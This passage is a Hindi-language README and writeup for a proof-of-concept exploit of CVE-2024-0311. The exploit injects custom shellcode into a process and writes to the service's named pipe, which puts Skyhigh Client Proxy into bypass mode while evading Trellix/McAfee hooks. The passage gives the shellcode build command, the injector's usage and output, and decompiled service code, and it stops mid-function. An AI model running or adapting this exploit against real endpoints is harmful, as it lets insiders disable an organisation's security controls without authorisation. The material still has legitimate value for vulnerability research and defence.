
CVE-2024-0311 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो प्रक्रिया इंजेक्शन और नामित पाइप हेरफेर के माध्यम से Skyhigh क्लाइंट प्रॉक्सी नीति को बायपास करता है, AV/EDR प्रतिबंधों से बचने के लिए कस्टम शेलकोड के साथ।
यह एक PoC है जो मेरे विश्वास के अनुसार CVE-2024-0311, SB10418 है।
एक दुर्भावनापूर्ण अंदरूनी व्यक्ति बिना वैध रिलीज़ कोड के Skyhigh Client Proxy की मौजूदा नीति को बायपास कर सकता है।
बहुत विवरण। बहुत एक्सप्लॉइट। ¯\(ツ)/¯
यह PoC एक उपयोगकर्ता द्वारा चलाए गए SCPBypass.exe प्रक्रिया में इंजेक्ट होता है और SCPService.exe पाइप में लिखता है: \\.\pipe\MCPTrayPipe0।
इंजेक्शन आवश्यक है क्योंकि, भले ही पाइप RW Everyone हो, WGUARDNT द्वारा पाइप पर लिखने वाले एक्ज़ीक्यूटेबल की कुछ जाँचें की जाती हैं (लेखक पथ की जाँच होती है), नीचे देखें।
एक उदाहरण शेलकोड प्रदान किया गया है जो WriteFile को पाइप पर निष्पादित करने की अनुमति देता है, भले ही Trellix/McAfee चल रहे हों और LoadLibrary को हुक/ब्लॉक कर रहे हों।
Visual Studio से Debug या Release में बनाएं।
Generate shellcode via:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
फिर शेलकोड को shellcode.c में बदलें।
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
उदाहरण आउटपुट:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
यदि सब कुछ ठीक रहा तो SCP लॉग फ़ाइलों में आपको इसके समान एक प्रविष्टि मिलनी चाहिए:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
यह एक संक्षिप्त राइटअप होगा, क्योंकि किसी के पास शब्दों के लिए समय नहीं है।
सबसे पहले, Skyhigh proxy client क्या है?
Skyhigh Security Client Proxy सॉफ़्टवेयर आपके एंडपॉइंट उपयोगकर्ताओं को उन सुरक्षा खतरों से बचाने में मदद करता है जो वे आपके नेटवर्क के अंदर या बाहर से वेब तक पहुँचने पर उत्पन्न होते हैं। क्लाइंट सॉफ़्टवेयर, जो Microsoft Windows या macOS चलाने वाले एंडपॉइंट पर स्थापित होता है, वेब अनुरोधों को पुनर्निर्देशित करता है या उन्हें फ़िल्टरिंग के लिए प्रॉक्सी तक जारी रखने की अनुमति देता है। सर्वर सॉफ़्टवेयर प्रबंधन प्लेटफ़ॉर्म में से एक पर चलता है: Trellix ePO SaaS या Trellix ePO Cloud।
इससे यह स्पष्ट हो जाना चाहिए।
एडवाइज़री से मिली जानकारी के अनुसार, जाने के लिए बहुत कुछ नहीं है।
ईमानदारी से कहूँ तो, मैं LPE के लिए आसानी से शोषण योग्य मुद्दों का पता लगाने के लिए बाइनरी सेवा की जाँच कर रहा था जब मैंने CreateNamedPipe देखा और दिलचस्पी हो गई।
यहाँ Ghidra से डिकंपाइल किए गए कोड का एक त्वरित कॉपी-पेस्ट है:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
जैसा कि हम देख सकते हैं, एक बार फ़ंक्शन कॉल होने पर एक नया DACL स्ट्रक्ट इनिशियलाइज़ होता है और एक नया पाइप \\.\pipe\MCPTrayPipe0 byte mode में बनाया जाता है।
फिर जब तक ऐसे पाइप का हैंडल वैध है, प्रोग्राम उससे पढ़ता है और भेजे गए बाइट्स को ASCII से int में atoi(out_lpBuffer) के साथ बदलने का प्रयास करता है।
इस तथ्य को अनदेखा करते हुए कि atoi के बेहतर विकल्प मौजूद हैं, यह मानते हुए कि atoi कॉल विफल नहीं हुई है, परिवर्तित मान FUN_14022d5b0 को पास किया जाता है:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];